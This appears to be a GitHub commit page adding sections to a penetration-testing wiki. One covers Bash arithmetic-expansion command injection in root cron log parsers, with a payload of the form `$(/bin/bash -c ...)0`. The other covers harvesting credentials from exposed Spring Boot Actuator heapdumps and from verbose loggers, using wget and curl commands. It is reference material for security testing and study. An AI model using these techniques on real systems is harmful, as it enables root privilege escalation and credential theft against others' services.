You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+26-1Lines changed: 26 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -416,6 +416,30 @@ Read the following page for more wildcard exploitation tricks:
416
416
wildcards-spare-tricks.md
417
417
{{#endref}}
418
418
419
+
420
+
### Bash arithmetic expansion injection in cron log parsers
421
+
422
+
Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
423
+
424
+
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
425
+
426
+
- Typical vulnerable pattern:
427
+
```bash
428
+
#!/bin/bash
429
+
# Example: parse a log and "sum" a count field coming from the log
430
+
while IFS=','read -r ts user count rest;do
431
+
# count is untrusted if the log is attacker-controlled
432
+
(( total += count ))# or: let "n=$count"
433
+
done< /var/www/app/log/application.log
434
+
```
435
+
436
+
- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
437
+
```bash
438
+
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
74
+
75
+
- Download and quick triage:
76
+
```bash
77
+
wget http://target/actuator/heapdump -O heapdump
78
+
# Quick wins: look for HTTP auth and JDBC
79
+
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
80
+
# Decode any Basic credentials you find
81
+
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU='| base64 -d
82
+
```
83
+
84
+
- Deeper analysis with VisualVM and OQL:
85
+
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
86
+
```
87
+
select s.toString()
88
+
from java.lang.String s
89
+
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
90
+
```
91
+
92
+
- Automated extraction with JDumpSpider:
93
+
```bash
94
+
java -jar JDumpSpider-*.jar heapdump
95
+
```
96
+
Typical high-value findings:
97
+
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
98
+
-`OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
99
+
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
100
+
101
+
Tips:
102
+
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
103
+
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
104
+
105
+
106
+
## Abusing Actuator loggers/logging to capture credentials
107
+
108
+
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
109
+
110
+
- Enumerate and crank up sensitive loggers:
111
+
```bash
112
+
# List available loggers
113
+
curl -s http://target/actuator/loggers | jq .
114
+
115
+
# Enable very verbose logs for security/web stacks (adjust as needed)
116
+
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
134
+
135
+
Notes:
136
+
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
137
+
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
138
+
139
+
140
+
## References
141
+
142
+
-[Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
0 commit comments